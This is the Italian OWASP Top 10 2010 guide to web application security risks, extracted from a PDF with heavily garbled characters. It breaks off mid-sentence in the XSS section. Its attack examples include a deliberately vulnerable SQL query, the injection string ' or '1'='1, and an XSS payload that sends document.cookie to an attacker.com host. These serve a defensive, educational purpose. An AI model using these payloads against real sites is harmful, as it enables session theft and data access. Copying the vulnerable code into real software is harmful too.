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Prologo

Il Softwarescritto in manieranon sicurastaminandole fondamenta
di infrastrutture informatiche critiche come quelle finanziarie,
medico-sanitarie,energetichee legateal settoredelladifesa.

Man mano che le nostre infrastrutture digitali aumentano in
complessità e diventano sempre più interconnesse, aumenta
esponenzialmentela difficoltà ƴŜƭƭΩƻǘǘŜƴŜǊŜsicurezzaapplicativa
adeguata. Non possiamopiù permetterci di tollerare problemi di
sicurezza relativamente semplici come quelli presentati ƴŜƭƭΩ
OWASPTop10.

Lo scopodel progetto Top 10 è quello di aumentarela sensibilità
sulla sicurezzaapplicativaattraversoƭΩƛŘŜƴǘƛŦƛŎŀȊƛƻƴŜdei principali
rischiai quali sonoespostele organizzazioniIT. Il progetto Top10 è
preso come riferimento da numerosi standard, libri, tool e
organizzazionicome MITRE,PCIDSS,DISA,FTC,e molte altre.
Questa release ŘŜƭƭΩOWASPTop 10 segna ƭΩƻǘǘŀǾƻanno nella
campagnadi sensibilizzazioneǎǳƭƭΩƛƳǇƻǊǘŀƴȊŀdei rischi legati alla
sicurezzaapplicativa. Laprima edizioneŘŜƭƭΩh²!{tTop10 risaleal
2003, alcune piccolemodifiche sono state apportate siaƭΩŀƴƴƻ
successivo(2004) chenel 2007; questaè la versionedel 2010.

OWASP incoraggia ƭΩǳǎƻdella Top 10 affinché la vostra
organizzazioneinizi a prendere in considerazionela sicurezza
applicativa. Gli sviluppatori possono apprendere dagli errori
commessidalle altre organizzazioni. I dirigenti possonoiniziare a
pensare come gestire i rischi che le applicazioni software
introducononelle loro compagnie.

Tuttavia la Top 10 non è un programmadi sicurezzaapplicativa.
Comepassoevolutivo, OWASPraccomandaalle organizzazionidi
stabilire delle solide fondamenta riguardanti la formazione,
ƭΩŀŘƻȊƛƻƴŜdi standard e di strumenti software che rendano
possibilelo sviluppodi software sicuro. Sopratali fondamenta,le
organizzazionidovrebberointegrarela sicurezzanei propri processi
di sviluppo,verifica e manutenzionedel software. Il management
può usarei risultati ottenuti da tali attività per la gestionedei costi
e dei rischiassociatiallasicurezzaapplicativa.

Noi speriamoche ƭΩh²!{tTop 10 possaessereutile nel vostro
investimento ƴŜƭƭΩŀǇǇƭƛŎŀǘƛƻƴsecurity. Non esitate a contattate
OWASPper domande, commenti ed idee sia in mailing list
ŀƭƭΩƛƴŘƛǊƛȊȊƻOWASP-TopTen@lists.owasp.org o privatamente a
dave.wichers@owasp.org.

http://www.owasp.org/index.php/Top_10

A proposito di OWASP

[ΩOpenWebApplicationSecurityProject(OWASP)è unacomunità
open di professionisti ŘŜƭƭΩL¢security il cui scopo è quello di
permettere alle organizzazioni di sviluppare, acquistare e
mantenereapplicazionidi cui possanofidarsi. !ƭƭΩƛƴǘŜǊƴƻdi OWASP
potrete trovare,in forma gratuita e liberaΧ

ÅStrumentie standardper la sicurezzaapplicativa
ÅLibri completi su: come condurre test di sicurezza,come

svilupparecodice sicuro e come condurre una security code
review
ÅLibreriesoftwaree controlli di sicurezzastandard
ÅCapitolilocaliin pressochéogninazionedel Pianeta
ÅRicercaŘΩŀǾŀƴƎǳŀǊŘƛŀ
ÅConferenzeapprofonditeorganizzatein tutto il mondo
ÅMailinglist
ÅEmolto altroΧil tutto adisposizionesuwww.owasp.org

Tutto il materiale OWASP(strumenti, documentazione,forum e
capitoli nazionali)è assolutamentein forma gratuita ed aperto a
chiunquesiainteressatoal miglioramentoŘŜƭƭΩapplicationsecurity.
Noi raccomandiamodi usareun approccioalla sicurezzaapplicativa
basatosullepersone,sui processied infine sullaparte tecnologica.
Questoperchémigliorare queste tre aree rappresentaƭΩŀǇǇǊƻŎŎƛƻ
più efficaceallasicurezzaapplicativa.

OWASPè un nuovatipologiadi organizzazione. Lanostra libertà da
vincoli e pressionicommerciali ci permette di dare informazioni
imparziali,di pratico utilizzo e di valore sulla sicurezzaapplicatva.
OWASPnon è affiliata con alcunasocietàche produceprodotti in
ambito IT anche se tuttavia supportiamo ƭΩǳǎƻinformato di
tecnologiecommerciali.
In maniera simile a molti altri progetti software open-source,
OWASPproduce molti tipi di materiale in modo collaborativoed
aperto.

[Ωh²!{tFoundationè un entità no-profit che assicurail successo
del progetto nel lungo termine. Praticamentetutti gli associatiad
OWASPsonovolontari, compresoil Boarddi OWASP,i membri del
GlobalCommittee,i ChapterLeader,i ProjectLeadered i membri
dei progetti OWASP. Noi supportiamo la ricerca innovativa sulla
sicurezzafornendolevisibilitàed infrastrutture.

Unitevianoi!
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Benvenuti

BenvenutiƴŜƭƭΩOWASPTop 10 2010! Questoimportante aggiornamentomostra un elencomaggiormenteconcisoe focalizzatosui 10 Rischi
Maggiormente Critici per la Sicurezza delle Applicazioni Web.[Ωh²!{tTop10 ha semprecontenutodei rimandi ai rischi,tuttavia ƭΩŜŘƛȊƛƻƴŜ
del 2010rendequestoapprocciomolto più chiarorispetto allealtre edizioni. Inoltre vengonofornite informazioniaggiuntivesucomevalutare
questirischiŀƭƭΩƛƴǘŜǊƴƻdellevostreapplicazioni.

Per ciascunavoce della top 10, ǉǳŜǎǘΩŜŘƛȊƛƻƴŜintroduce la probabilità di accadimentoed i fattori conseguentiche sono utilizzati per
categorizzarela severitàdel rischio. Vengonointrodotte delle linee guida su come verificareƭΩŜǎƛǎǘŜƴȊŀdi problemi, come evitarli, alcuni
esempidi vulnerabilitàed alcunilink di approfondimento.

LoscopoprincipaleŘŜƭƭΩh²!{tTop10è quellodi educaresviluppatori,progettisti,architetti, managere le organizzazionicircale conseguenze
delleprincipalivulnerabilitàdi sicurezzadelleapplicazioniweb. LaTop10 forniscetecnichedi baseper proteggersida questecategoriead alto
rischioe fornisceunaguidasucomefar evolvereil proprio approccioallasicurezzaapplicativapartendodallarisoluzionedellestesse.

Suggerimenti

Non fermatevi a 10. Ci sono centinaia di problematiche che
possono riguardare la sicurezzadi ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜweb nel suo
complessocome discussoƴŜƭƭΩOWASP5ŜǾŜƭƻǇŜǊΩǎGuide. Questo
documento risulta essenzialeper chiunque sviluppi applicazioni
web oggigiorno. Una guida su come trovare efficacemente
vulnerabilità nelle applicazioniweb può essereƭΩOWASPTesting
Guidee lΩOWASPCodeReviewGuide, chesonostate aggiornatein
manierasignificativaa seguitodellareleaseprecedenteŘŜƭƭΩh²!{t
Top10.

[ΩŜǾƻƭǳȊƛƻƴŜè continua. QuestaTop 10 continuerà ad evolvere.
Anche senza cambiare una sola linea nelle vostre applicazioni,
potreste esserevulnerabili a qualcosaa cui nessunoha ancora
pensato. Per favore, leggete i consigliche potete trovare in coda
allaTop10 al paragrafoάWƘŀǘΩǎNextForDevelopers,Verifiers,and
Organizationsέper maggioriinformazioni.

Pensate positivo. Quandosaretepronti a passaredal rincorrere le
vulnerabilità a spostare il focus sulla definizione di controlli di
sicurezzarobustinel vostrocodice, sappiatecheOWASPha dapoco
prodotto ƭΩApplicationSecurityVerification Standard(ASVS)come
guida per organizzazionie code reviewers indicando le principali
areedi verifica.

Usate i tool in maniera assennata. Levulnerabilitàpossonoessere
complessee riguardare milioni di righe di codice. La soluzione
migliore al problema è quella di affidarsi a persone esperte in
application security che useranno nella maniera più efficace gli
strumentisoftwareper rilevaretali vulnerabilità.

Spingetevi oltre. Applicazioniweb sicure possono nascere solo
quando viene utilizzato un ciclo di vita sicuro del software. Per
avereunaguidasulSSDLC,abbiamorecentementerilasciatoƭΩOpen
Software AssuranceMaturity Model (SAMM), una riscrittura del
progettoOWASPCLASP.

Ringraziamenti
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Vorremmo anche ringraziarele persone che in questi anni hanno
dato un contributo significativo al progetto attraverso nuovi
contenutio rivedendoil materialeesistenteper la versionedellaTop
10:

ÁMike Boberski(Booz Allen Hamilton)
ÁJuan Carlos Calderon (Softtek)
ÁMichaelCoates (Aspect Security)
ÁJeremiah Grossman (WhiteHatSecurity Inc.)
ÁJim Manico (forall the Top 10 podcasts)
ÁPaul Petefish (SolutionaryInc.)
ÁEric Sheridan (Aspect Security)
ÁNeil Smithline (OneStopAppSecurity.com)
ÁAndrew van der Stock
ÁColin Watson (Watson Hall, Ltd.)
ÁOWASP Denmark Chapter (Led by Ulf Munkedal)
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Cosa è cambiato nella Top 10 2010 rispetto a quella del 2007?

Il panoramadelle minacceper le applicazioniInternet è in costantecambiamento. I fattori chiavedi questaevoluzionesonoi progressi fatti
dagliattaccanti,il rilasciodi nuovetecnologiee ƭΩǳǎƻdi sistemisemprepiù complessi. Per risponderea questaevoluzionela OWASPTop10
vieneperiodicamenteaggiornata. In questanuovaversioneci sonotre significativicambiamentirispettoalleprecedenti:

1) Viene chiarito che la Top 10 riguarda i maggiori dieci άwƛǎŎƘƛέ, non le prime dieci άǾǳƭƴŜǊŀōƛƭƛǘŁέpiù comuni. Maggiori dettagli sono
presentinellapaginaάwƛǎŎƘƛnellasicurezzaŀǇǇƭƛŎŀǘƛǾŀέ.

2) È cambiatala metodologiaper la stima e la classificazionedel rischio: non ci si affida più unicamentealla frequenzadella vulnerabilità
associata,e questohainfluito ǎǳƭƭΩƻǊŘƛƴŀƳŜƴǘƻdellaTop10comesipuòvederedallatabellain fondoallapagina.

3) Sonostati rimossidueelementi(presentinellaTT2007) e sostituiti conduenuovi (nellaTT2010):

+ AGGIUNTOά!6 - Configurazionidi sicurezzaƛƳǇǊƻǇǊƛŜέ: questoelementovenivaidentificatonellaTT2004comeά!10 - Gestionenon
sicuradellaŎƻƴŦƛƎǳǊŀȊƛƻƴŜέed era inveceassentedalla Top 10 2007 poichénon venivaconsideratoun problemadi sicurezzadel
software. Viene invece reintrodotto a pieno titolo nella Top 10 2010 per i suoi aspetti legati ai rischi organizzativi ed alla sua
diffusione.

+ AGGIUNTOά!10 - Redirecte Forwardnon ǾŀƭƛŘŀǘƛέ: questoproblemadebutta nella nuovaTop 10. Diversesono le evidenzeche il
problema,relativamentesconosciuto,siaestremamentediffusoe puòesserecausadi danneggiamentisignificativi.

ς RIMOSSOά!3ςEsecuzionemalevoladi ŦƛƭŜέ: pur essendoancoraun problemarilevantein differenti ambienti, la suapresenzanella
Top10 2007era statadettata principalmentedallenumeroseapplicazioniPHPchesoffrivanodi questoproblema. Lenuoveversioni
di PHPhannoinveceunaconfigurazionedi defaultpiù sicurae ciò ridimensionail problema.

ς RIMOSSOά!6ςPerditadi informazionie gestioneimpropriadegliŜǊǊƻǊƛέ: questoproblemaè ancoramolto diffuso,maƭΩƛƳǇŀǘǘƻnel
divulgarelo stacktrace ed i messaggidi errore è tipicamentebasso. ConƭΩŀƎƎƛǳƴǘŀnella Top10 2010dellaά!6 - Configurazionidi
sicurezzaƛƳǇǊƻǇǊƛŜέΣla corretta gestione degli errori è in gran parte attinente alla corretta configurazioneŘŜƭƭΩŀƳōƛŜƴǘŜdi
esecuzioneŘŜƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ.

OWASP Top 10 ς2007 (Precedente) OWASP Top 10 ς2010 (Nuova)

A2 ςInjection Flaws A1 ςInjection

A1 ςCross Site Scripting (XSS) A2 ςCross-Site Scripting (XSS)

A7 ςBroken Authentication and Session Management A3 ςBroken Authentication and Session Management

A4 ςInsecure Direct Object Reference A4 ςInsecure Direct Object References

A5 ςCross Site Request Forgery (CSRF) A5 ςCross-Site Request Forgery (CSRF)

<era T10 2004 A10 ςInsecure Configuration Management> A6 ςSecurity Misconfiguration (NEW)

A8 ςInsecure Cryptographic Storage A7 ςInsecure Cryptographic Storage

A10 ςFailure to Restrict URL Access A8 ςFailure to Restrict URL Access

A9 ςInsecure Communications A9 ςInsufficient Transport Layer Protection

<non presente nella T10 2007> A10 ςUnvalidated Redirects and Forwards (NEW)

A3 ςEsecuzione malevola di file <rimossa dalla T10 2010>

A6 ςPerdita di informazioni e gestione impropria degli errori <rimossa dalla T10 2010>

Note alla ReleaseNR



Quali sono i rischi relativi alla sicurezza applicativa?
Gli attaccanti, in teoria, hannoa disposizionediversipercorsiŀƭƭΩƛƴǘŜǊƴƻdelle applicazionial fine di danneggiareil businesso ƭΩƛƴǘŜǊŀazienda.
Ognunodi questipercorsirappresentaun rischiochepuòo nonpuòesseresufficientementeelevatodameritarela giustaattenzione.

In alcunicasi, questipercorsisonoindividuabilie sfruttabili molto facilmenteed in altri casi, invece, molto complessi. Allo stessomodo il danno
chepuòesserecausatopuòesseredanullo fino adistruttivo per il proprio business.

Al fine di determinareil rischiodellapropriaorganizzazione, sipuò valutarela probabilitàdi accadimentoassociataa ciascunaminaccia, vettore
di attaccoe carenzedi sicurezzaedassociarleallastimadegliimpatti tecnicie di businesschela propriaorganizzazionesubirebbe.[ΩƛƴǎƛŜƳŜdi
tutti questifattori determinail rischio.

Vulnerabilità

Attacco

Agenti di
Minaccia

Impatto

Quale è il mio rischio?
QuestoaggiornamentodellaOWASPTop10 si focalizzaǎǳƭƭΩƛŘŜƴǘƛŦƛŎŀȊƛƻƴŜdei maggioririschi
per una larga gamma di organizzazioni. Per ognuno di questi rischi, vengono fornite
informazionigeneralicirca la probabilità e ƭΩƛƳǇŀǘǘƻtecnico utilizzandolo schemadi rating
chedi seguitoè espostoe chesibasasuOWASPRiskRatingMethodology.

In realtà, ognuno conoscele peculiarità del proprio ambiente e del proprio business. Per
ciascunaapplicazioneconsideratapuò non esistere una minacciache può consentire un
attaccosignificativooppureƭΩƛƳǇŀǘǘƻpuò non essererilevante. Standocosìle cose, ciascuno
deve valutare il proprio rischio analizzandole minacce, Ie contromisuredi sicurezzae gli
impatti versoil businessrelativamenteallapropriaazienda.

Sebbenela precedenteversionedi OWASPTop10 fossefocalizzataǎǳƭƭΩƛŘŜƴǘƛŦƛŎŀȊƛƻƴŜdelle
άpiùŘƛŦŦǳǎŜέvulnerabilità, erastrutturata anchepensandoal rischio. I nomi dei rischielencati
nella Top 10 derivanodal tipo di attacco, dal tipo di vulnerabilitào dal tipo di impatto che
causano. Sonostati scelti i nomi chesonopiù noti e chequindi consentonoil più alto livello di
comprensionee consapevolezza.

Referenze

OWASP

ÅOWASP Risk Rating Methodology

ÅArticle on Threat/Risk Modeling

Esterne

ÅFAIR Information Risk Framework

ÅMicrosoft Threat Modeling (STRIDE 
and DREAD)
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ωLeInjectionFlaws, comeSQLInjection, OSInjection, e LDAPinjection, si verificanoquandodati non validati
vengonoinviati come parte di un comandoo di una query al loro interprete. Il dato infetto può quindi
ingannare tale interprete, eseguendocomandi non previsti o accedendoa dati per i quali non si ha
ƭΩŀǳǘƻǊƛȊȊŀȊƛƻƴŜ.

A1 ςInjection

ωLefalle di tipo XSSsiverificanoquandoǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜwebricevedei dati provenientida fonti non affidabili
e li invia ad un browsersenzauna opportunavalidazionee/o άescapingέ. Il XSSpermette agli attaccantidi
eseguiredegli script malevolisui browserdelle vittime; tali script possonodirottare la sessioneŘŜƭƭΩǳǘŜƴǘŜΣ
fareun defacedel sito webo redirezionareƭΩǳǘŜƴǘŜsuun sito malevolo.

A2 ςCross-Site 
Scripting (XSS)

ωLeprocedureapplicativerelativeŀƭƭΩŀǳǘŜƴǘƛŎŀȊƛƻƴŜe allagestionedellasessionesonospessoimplementate
in modo non corretto, permettendoagli attaccantidi comprometterepassword,chiavi,token di sessioneo
sfruttaredebolezzeimplementativeper assumereƭΩƛŘŜƴǘƛǘŁdi altri utenti.

A3 ςBroken 
Authentication and 

Session 
Management

ωUn riferimento diretto ad un oggetto si verifica quando uno sviluppatore espone un riferimento
ŀƭƭΩƛƳǇƭŜƳŜƴǘŀȊƛƻƴŜinterna di un oggetto,comeun file, una directory,o una chiavein un database. Senza
un opportuno controllo degliaccessio altre protezioni,gli attaccantipossonomanipolarequesti riferimenti
in mododaaccederea dati nonautorizzati.

A4 ςInsecure 
Direct Object 

Reference

ωUn attaccodi CSRFforza il browserdella vittima ad inviare una richiestaHTTPopportunamenteforgiata -
includendo i cookie di sessionedella vittima ed ogni altra informazione di autenticazione- ad una
applicazioneweb vulnerabile. QuestopermetteŀƭƭΩŀǘǘŀŎŎŀƴǘŜdi forzareil browserdella vittima a generare
unarichiestacheƭΩŀǇǇƭƛŎŀȊƛƻƴŜvulnerabilecredelegittimamenteinviataŘŀƭƭΩǳǘŜƴǘŜ.

A5 ςCross-Site 
Request Forgery 

(CSRF)

ωUna buona sicurezzarichiedeuna opportuna configurazionedi applicazioni,framework, serverapplicativi,
server web, databasee piattaforme. Tutte le configurazionidevono essere definite, implementate e
manutenute, poichénon semprele configurazionidi default sonosicure. Questoimplicamanteneretutto il
softwareaggiornato,includendoin essoanchetutte le librerie usateŘŀƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ.

A6 ςSecurity 
Misconfiguration

ωMolte applicazioniweb non proteggonoopportunamentei dati sensibili(comenumeri di carte di credito,
servizi sociali, credenziali per ƭΩŀǳǘŜƴǘƛŎŀȊƛƻƴŜύcon cifratura e hashing appropriati. Degli attaccanti
potrebberoquindi rubareo modificaretali dati (debolmenteprotetti) per furto di identità, frodi concartedi
credito,o altri crimini informatici.

A7 ςInsecure 
Cryptographic 

Storage

ωMolte applicazioniweb controllano i diritti di accessoalle URLprima di visualizzarelink o funzionalità
protetti. Tali applicazioniperò dovrebbero effettuare dei controlli di accessoogni qualvolta le pagine
venganoaccedute,altrimenti gli attaccanti potrebbero alterare le URLin modo da accederea pagine
protette.

A8 - Failure to 
Restrict URL Access

ωLe applicazionispessofallisconoƴŜƭƭΩŀǳǘŜƴǘƛŎŀǊŜΣcifrare, e proteggerela confidenzialitàe ƭΩƛƴǘŜƎǊƛǘŁdel
traffico di rete sensibile. Quandoquestoaccadetalvolta è a causaŘŜƭƭΩǳǎƻdi algoritmipocorobusti, talaltra
ŀƭƭΩǳǎƻdi certificati scadutio invalidio chenonvengonoutilizzaticorrettamente.

A9 - Insufficient 
Transport Layer 

Protection

ωLeapplicazioniWebspessoeseguonodei redirecto dei forward degliutenti versoaltre pagineo siti, e usano
dei dati non validati per determinarele paginedi destinazione. Senzauna opportunavalidazionequindi, gli
attaccantipossonofare un redirect delle vittime a siti di phishingo di malware, o utilizzareil forward per
accederea paginenonautorizzate.

A10 ςUnvalidated 
Redirects and 

Forwards

OWASP Top 10 dei rischi di 
sicurezza applicativa ς2010 T10



__________
Sfruttamento

FACILE
Diffusione
COMUNE

Individuazione
MEDIA

Impatto
SEVERO

__________

Considerare in questa 
classe chiunque possa 
mandare dati non 
controllati al sistema, 
includendo utenti 
interni,  esterni  ed 
amministratori.

[ΩŀǘǘŀŎŎŀƴǘŜ ƛƴǾƛŀ ǳƴ 
semplice testo che usa 
la sintassi 
ŘŜƭƭΩƛƴǘŜǊǇǊŜǘŜ  
obiettivo dell'attacco.
Quasi ogni sorgente di 
dati può essere un 
vettore di Injection, 
comprese le sorgenti 
interne. 

Gli Injection flawsavvengono quando 
ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ƛƴǾƛŀ Řŀǘƛ ƴƻƴ ŎƻƴǘǊƻƭƭŀǘƛ ŀŘ ǳƴ 
interprete. Questo tipo di debolezza si trova 
principalmente in sistemi legacy, spesso nelle 
query SQL, LDAP, XPath, comandi OS, ecc. Un 
Injection flaw può essere facilemente 
individuato esaminando il codice, mentre è più 
difficile tramite il testing. Strumenti quali 
scanner e fuzzers possono aiutare gli attaccanti 
a trovarli.

Un Injection può
portaread unaperdita
o corruzionedei dati, 
mancanzadi
tracciabilitào rifiuto
di accesso.Inalcuni
casipuòportarealla
totale presadi
controllodel sistema.

Considerare il valore 
di business dei dati 
impattati e della 
piattaforma su cui gira 
ƭΩƛƴǘŜǊǇǊŜǘŜΦ ¢ǳǘǘƛ L 
dati potrebbero 
essere rubati, 
modificati o cancellati. 
Potrebbe essere 
rovinata la vostra 
reputazione?

Esempi di Scenario di Attacco
[ΩŀǇǇƭƛŎŀȊƛƻƴŜusadati non controllati nellacostruzionedella
seguentechiamataSQL vulnerabile:

String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") +"'";

[ΩŀǘǘŀŎŎŀƴǘŜmodificail parametroΨƛŘΩ nel browser per mandarela 
stringaseguente: ΨƻǊΩмΩҐΨмΦ Questocambia il significatodellaquery 
per selezionaretutti I record daldata base dei clienti, invecedei soli 
dati del codiceclienterichiesto. 

http://example.com/app/accountView?id=' or '1'='1 

Nelcasopeggiore, ƭΩŀǘǘŀŎŎŀƴǘŜusaquestadebolezzaper chiamare
stored procedure specialinel data base, chepermettonodi prendere
il controllo completo del database e persinodel server cheospitail
data base.

Sono vulnerabile?
Lƭ ƳƻŘƻ ƳƛƎƭƛƻǊŜ ǇŜǊ ǾŜǊƛŦƛŎŀǊŜ ǎŜ ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ŝ ǾǳƭƴŜǊŀōƛƭŜ ŀŘ 
ǳƴ άƛƴƧŜŎǘƛƻƴέ ŝ Řƛ ǾŜǊƛŦƛŎŀǊŜ ŎƘŜ tutti gli interpreti di comandi 
ŘŜƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ ǎŜǇŀǊƛƴƻ ŎƘƛŀǊŀƳŜƴǘŜ ƛ Řŀǘƛ Řƛ ƛƴǇǳǘ Řŀƛ ŎƻƳŀƴŘƛ Ŝ 
ŘŀƭƭŜ ǉǳŜǊȅΦ tŜǊ ƭŜ ŎƘƛŀƳŀǘŜ {v[Σ ǉǳŜǎǘƻ ŎƻƳǇƻǊǘŀ ƭΩǳǎƻ Řƛ ǾŀǊƛŀōƛƭƛ 
bind in tutte le istruzioni e stored procedure, evitando  query di tipo 
dinamico.
Il controllo del codice è un modo veloce ed accurato per verificare se 
un applicazione utilizza i moduli in maniera sicura. Gli strumenti di 
analisi del codice possono aiutare gli analisti di sicurezza nel 
ǾŜǊƛŦƛŎŀǊŜ ƭΩǳǎƻ ŘŜƛ ƳƻŘǳƭƛ Ŝ ǘǊŀŎŎƛŀǊŜ ƛƭ Řŀǘŀ Ŧƭƻǿ ƴŜƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ. I 
penetration test possono verificare le carenze di controlli creando 
exploit che confermino la vulnerabilità.
Dƭƛ ǎŎŀƴƴŜǊ ŀǳǘƻƳŀǘƛŎƛ Ǉƻǎǎƻƴƻ ŜǾƛŘŜƴȊƛŀǊŜ ƭΩŜǎƛǎǘŜƴȊŀ Řƛ ƛƴƧŜŎǘƛƻƴ 
conosciuti. Gli scanner non possono raggiungere sempre tutti i 
moduli e hanno difficoltà nel verificare se un attacco è andato a 
buon fine. Una gestione degli errori carente rende un Injection flaw 
più facile da scoprire.

Riferimenti
OWASP

ÅOWASP SQL Injection Prevention Cheat Sheet

ÅOWASP Injection Flaws Article

ÅESAPI Encoder API

ÅESAPI Input Validation API

ÅASVS: Output Encoding/Escaping Requirements (V6)

ÅOWASP Testing Guide: Chapter on SQL Injection Testing

ÅOWASP Code Review Guide: Chapter on SQL Injection

ÅOWASP Code Review Guide: Command Injection

Esterni

ÅCWE Entry 77 on Command Injection

ÅCWE Entry 89 on SQL Injection

Come prevenire?
Prevenireun injection richiedechei dati di input sianotenuti

separatidacomandie query.

1. [ΩƻǇȊƛƻƴŜpreferitaè quelladi usareAPI sicurecheeviti ƭΩǳǎƻ
di un interprete o cheforniscaǳƴΩƛƴǘŜǊŦŀŎŎƛŀparametrizzata. 
Fare attenzionead API, qualistored procedures, chesono
parametrizzate, ma chepossonoancoraintrodurre injection 
sotto copertura.

2. Se non sonodisponibiliAPI parametrizzate, è necessario
evitarecaratterispecialiusandosoluzionisintattiche(escape) 
specificheper ǉǳŜƭƭΩƛƴǘŜǊǇǊŜǘŜ. h²!{tΩǎ 9{!tLha alcunedi
queste escaping routines.

3. La validazionediƛƴǇǳǘ ƛƴ  άǿƘƛǘŜ ƭƛǎǘέ Ŏƻƴ metodi di
normalizzazioneè consigliabile, ma non basta, poichèalcune
applicazionirichiedonocaratterispecialinei loro input. 
h²!{tΩǎ 9{!tLha unalibreria estendibiledi white list input 
validation routines.

A1 Injection

Problematiche 
di Sicurezza

Vettori di
Attacco

Impatti
TecniciAgenti di

Minaccia

Impatti di
Business

http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/Command_Injection
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
http://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection
http://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/77.html
http://cwe.mitre.org/data/definitions/89.html
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html


__________
Sfruttamento

MEDIA
Diffusione

MOLTO DIFFUSA
Individuazione

FACILE
Impatto

MODERATO
__________

Considerare chiunque 
possa inviare dati non 
controllati al sistema, 
inclusi utenti interni, 
ed esterni nonchè gli 
amministratori.

Si invianosequenzedi
comanditestuali
(script) per forzare
ƭΩƛƴǘŜǊǇǊŜǘŜinterno
del browser. Quasi 
tutte le sorgentidi
dati possonoessere
veicolidi attacco, 
anchequelleinterne 
quali i database 
interni. 

XSSè il maggiordifetto di sicurezzanelle
applicazioniWEB. La vulnerabilitàdi XSS si
manifestaquandoun applicativogenera una
paginacon dati forniti ŘŀƭƭΩǳǘŜƴǘŜsenzaaverli
validatio prima di avernefatto ƭΩŜǎŎŀǇƛƴƎ. Ci
sonotre tipi di vulnerabilitàXSS: 1) Stored, 2) 
Reflected, and 3) DOM based XSS.

Scoprirela maggiorparte dei difetti XSS è 
abbastanzafacile, analizzandoo testandoil
codice. 

[ΩŀǘǘŀŎŎŀƴǘŜpuò
eseguiredel codice
dentro il browser 
dellavittima per: 
impadronirsidella
sessione, il defacing  
del sito, inserire
contenutiostili, 
reindirizzareƭΩǳǘŜƴǘŜ, 
ecc. 

Considerareil valore
business del sistema
attaccatoe di tutti I 
dati cheelabora.

Considerareanche
ƭΩƛƳǇŀǘǘƻsulbusiness 
delladivulgazione
ŘŜƭƭΩŜǎƛǎǘŜƴȊŀdella
vulnerabilità.

Esempi di Scenari di Attacco
[ΩŀǇǇƭƛŎŀȊƛƻƴŜusadati non controllati per costruirei seguenti
snippet HTML, senzafare validazioneo escaping:

(String) page += "<input name='creditcardϥ ǘȅǇŜҐϥ¢9·¢Ψ
value='" + request.getParameter("CC") + "'>";

[ΩŀǘǘŀŎŎŀƴǘŜmodificail parametroΨ//Ω nel browser:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

Questofa sicheƭΩL5dellasessionedellavittima vengainviatoal 
website ŘŜƭƭΩŀǘǘŀŎŎŀƴǘŜconsentendoglidi dirottare sudi lui la 
sessionecorrente. 

NotarecheƭΩŀǘǘŀŎŎŀƴǘŜpuòancheusareXSS per superare
qualunquedifesaCSRF automaticacheƭΩŀǇǇƭƛŎŀȊƛƻƴŜpossaaver 
impiegato. VedereA5 per informazionisuCSRF.

Sono vulnerabile?
Cisideveaccertarechequalunqueinput utente reinviatoal browser 
ŘŀƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜsiacontrollato(attraversounavalidazionedegli
input) e chetali input ŘŜƭƭΩǳǘŜƴǘŜsianoassoggettatiŀŘ άŜǎŎŀǇƛƴƎέ 
prima di essereinviati allepaginein output. Il corretto trattamento
di tali dati assicurachesianosemprevisti dalbrowser come stringhe
di testoe non come contenutiattivi chepossanoessereeseguiti.

Siai tools staticichedinamicipossonotrovareautomaticamente
alcuniproblemidi XSS. Siccomeogniapplicativocostruisce
differentementele propriepaginedi output e sibasasudifferenti
interpreti (JavaScript, ActiveX, Flash, Silverlight), il riconoscimento
automaticoè spessodifficile. Quindiunacoperturacompletadel 
temaimponeanche, oltre ŀƭƭΩǳǎƻdi tools automatici, ƭΩƛǎǇŜȊƛƻƴŜdel 
codicee penetration test manuali.

Tecnologieper Web 2.0, come  AJAX, rendonoinoltre ƭΩ·{{molto 
più difficile dariconoscereautomaticatamente.

Riferimenti
OWASP

ÅOWASP XSS Prevention Cheat Sheet

ÅOWASP Cross-Site Scripting Article

ÅESAPI Encoder API

ÅASVS: Output Encoding/Escaping Requirements (V6)

ÅASVS: Input Validation Requirements (V5)

ÅTesting Guide: 1st 3 Chapters on Data Validation Testing

ÅOWASP Code Review Guide: Chapter on XSS Review

Esterni

ÅCWE Entry 79 on Cross-Site Scripting

Åw{ƴŀƪŜΩǎXSS Attack Cheat Sheet

ÅCƛǊŜŦƻȄ пΩǎ !ƴǘƛ-XSS Content Security Policy Mechanism

Come prevenire?
Prevenireil XSS richiededi tenerei dati non controllati saparatidal
contenutoattivo del browser.

1.[ΩŀǇǇǊƻŎŎƛƻpreferito, per tutti i dati non affidabili,  è quellodi fare 
ƭΩέŜǎŎŀǇƛƴƎέ appropriatoal contestoHTML in cui verrannoutilizzato
(body, attribute, JavaScript, CSS, o URL). VedereOWASP XSS 
Prevention Cheat Sheetper maggioriinfo sulletecnichedi escaping.

2.La validazioneŘŜƭƭΩƛƴǇǳǘbasatasuapproccioάwhitelistέ ƻ positiva
unita ad unaappropriatacanonicalizzazionee decoding è 
raccomandatama non è unadifesacompleta, dato chealcuni
applicativirichiedonocaratterispecialinellestringheinput. Tali
